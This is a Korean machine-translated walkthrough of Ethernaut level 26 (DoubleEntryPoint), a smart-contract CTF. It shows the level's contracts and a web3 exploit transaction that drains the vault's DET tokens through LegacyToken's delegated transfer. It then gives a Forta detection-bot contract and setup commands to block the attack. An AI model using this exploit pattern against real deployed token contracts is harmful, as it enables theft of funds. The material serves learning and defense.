Ethernaut 해킹 레벨 26: 이중 진입점
전제 조건
마구 자르기
주어진 계약:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
interface DelegateERC20 {
function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}
interface IDetectionBot {
function handleTransaction(address user, bytes calldata msgData) external;
}
interface IForta {
function setDetectionBot(address detectionBotAddress) external;
function notify(address user, bytes calldata msgData) external;
function raiseAlert(address user) external;
}
contract Forta is IForta {
mapping(address => IDetectionBot) public usersDetectionBots;
mapping(address => uint256) public botRaisedAlerts;
function setDetectionBot(address detectionBotAddress) external override {
require(address(usersDetectionBots[msg.sender]) == address(0), "DetectionBot already set");
usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
}
function notify(address user, bytes calldata msgData) external override {
if(address(usersDetectionBots[user]) == address(0)) return;
try usersDetectionBots[user].handleTransaction(user, msgData) {
return;
} catch {}
}
function raiseAlert(address user) external override {
if(address(usersDetectionBots[user]) != msg.sender) return;
botRaisedAlerts[msg.sender] += 1;
}
}
contract CryptoVault {
address public sweptTokensRecipient;
IERC20 public underlying;
constructor(address recipient) public {
sweptTokensRecipient = recipient;
}
function setUnderlying(address latestToken) public {
require(address(underlying) == address(0), "Already set");
underlying = IERC20(latestToken);
}
/*
...
*/
function sweepToken(IERC20 token) public {
require(token != underlying, "Can't transfer underlying token");
token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
}
}
contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
DelegateERC20 public delegate;
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
delegate = newContract;
}
function transfer(address to, uint256 value) public override returns (bool) {
if (address(delegate) == address(0)) {
return super.transfer(to, value);
} else {
return delegate.delegateTransfer(to, value, msg.sender);
}
}
}
contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
address public cryptoVault;
address public player;
address public delegatedFrom;
Forta public forta;
constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) public {
delegatedFrom = legacyToken;
forta = Forta(fortaAddress);
player = playerAddress;
cryptoVault = vaultAddress;
_mint(cryptoVault, 100 ether);
}
modifier onlyDelegateFrom() {
require(msg.sender == delegatedFrom, "Not legacy contract");
_;
}
modifier fortaNotify() {
address detectionBot = address(forta.usersDetectionBots(player));
// Cache old number of bot alerts
uint256 previousValue = forta.botRaisedAlerts(detectionBot);
// Notify Forta
forta.notify(player, msg.data);
// Continue execution
_;
// Check if alarms have been raised
if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
}
function delegateTransfer(
address to,
uint256 value,
address origSender
) public override onlyDelegateFrom fortaNotify returns (bool) {
_transfer(origSender, to, value);
return true;
}
}
player
는 CryptoVault
에서 버그를 찾아 고갈되는 것을 방지하기 위해 Forta 봇을 만들어야 합니다.먼저 기본(DET) 토큰을 유출할 수 있는 익스플로잇을 알아봅시다.
sweepToken()
메서드를 보면 예상대로 require
검사로 기본 토큰 스윕을 제한하는 것을 볼 수 있습니다. 그러나 LegacyToken
의 transfer()
방법을 살펴보십시오.if (address(delegate) == address(0)) {
return super.transfer(to, value);
} else {
return delegate.delegateTransfer(to, value, msg.sender);
}
실제로 일부
delegateTransfer()
계약의 DelegateERC20
메서드를 호출하는 것처럼 보입니다. 그러나 이 DelegateERC20
는 기본 ( DET
) 토큰 자체의 구현일 뿐입니다! 그리고 delegateTransfer()
는 주어진 매개변수에 따라 토큰을 전송합니다. delegateTransfer()
의 유일한 제한 사항은 msg.sender
가 LegacyToken(delegatedFrom
주소) 계약이어야 한다는 것입니다.따라서
transfer()
계약의 LegacyToken
를 통해 기본 토큰을 간접적으로 스윕할 수 있습니다. sweepToken
계약의 주소로 LegacyToken
를 호출하기만 하면 됩니다. 그러면 LegacyContract
가 DoubleEntryPoint
의 (DET 토큰) delegateTransfer()
메서드를 호출하게 됩니다.vault = await contract.cryptoVault()
// Check initial balance (100 DET)
await contract.balanceOf(vault).then(v => v.toString()) // '100000000000000000000'
legacyToken = await contract.delegatedFrom()
// sweepTokens(..) function call data
sweepSig = web3.eth.abi.encodeFunctionCall({
name: 'sweepToken',
type: 'function',
inputs: [{name: 'token', type: 'address'}]
}, [legacyToken])
// Send exploit transaction
await web3.eth.sendTransaction({ from: player, to: vault, data: sweepSig })
// Check balance (0 DET)
await contract.balanceOf(vault).then(v => v.toString()) // '0'
그리고
CryptoVault
는 DET 토큰을 휩쓸었습니다!이것은
transfer()
의 LegacyToken
를 호출하는 동안 msg.sender
가 CryptoVault
이기 때문에 작동했습니다. 그리고 바로 다음에 delegateTransfer()
가 호출되면 origSender
는 CryptoVault
계약의 전달된 주소이고 msg.sender
는 LegacyToken
이므로 onlyDelegateFrom
수정자가 체크아웃됩니다.이제 이 악용을 방지하기 위해
IDetectionBot
인터페이스를 구현하는 간단한 계약인 봇을 작성해야 합니다. 봇handleTransaction(..)
에서 주소가 CryptoVault
주소가 아닌지 간단히 확인할 수 있습니다. 그렇다면 경보를 발령하십시오. 따라서 스윕을 방지합니다.Remix를 열고 봇을 배포하고(Rinkeby에서) 주소를 복사합니다.
pragma solidity ^0.8.0;
interface IForta {
function raiseAlert(address user) external;
}
contract FortaDetectionBot {
address private cryptoVault;
constructor(address _cryptoVault) {
cryptoVault = _cryptoVault;
}
function handleTransaction(address user, bytes calldata msgData) external {
// Extract the address of original message sender
// which should start at offset 168 (0xa8) of calldata
address origSender;
assembly {
origSender := calldataload(0xa8)
}
if (origSender == cryptoVault) {
IForta(msg.sender).raiseAlert(user);
}
}
}
위의
FortaDetectionBot
계약에서 우리는 ABI encoding 사양에 따라 오프셋을 계산하여 원래 트랜잭션 발신자의 주소를 추출합니다.이제
Forta
계약에서 봇을 설정합니다.// FortaDetectionBot
botAddr = '0x...'
// Forta contract address
forta = await contract.forta()
// setDetectionBot() function call data
setBotSig = web3.eth.abi.encodeFunctionCall({
name: 'setDetectionBot',
type: 'function',
inputs: [
{ type: 'address', name: 'detectionBotAddress' }
]
}, [botAddr])
// Send the transaction setting the bot
await web3.eth.sendTransaction({from: player, to: forta, data: setBotSig })
그게 다야!
멋진 것을 배웠습니까? 주연 고려 github repo 😄
그리고 트위터에서 저를 팔로우하세요 🙏
Reference
이 문제에 관하여(Ethernaut 해킹 레벨 26: 이중 진입점), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/nvn/ethernaut-hacks-level-26-double-entry-point-1774텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)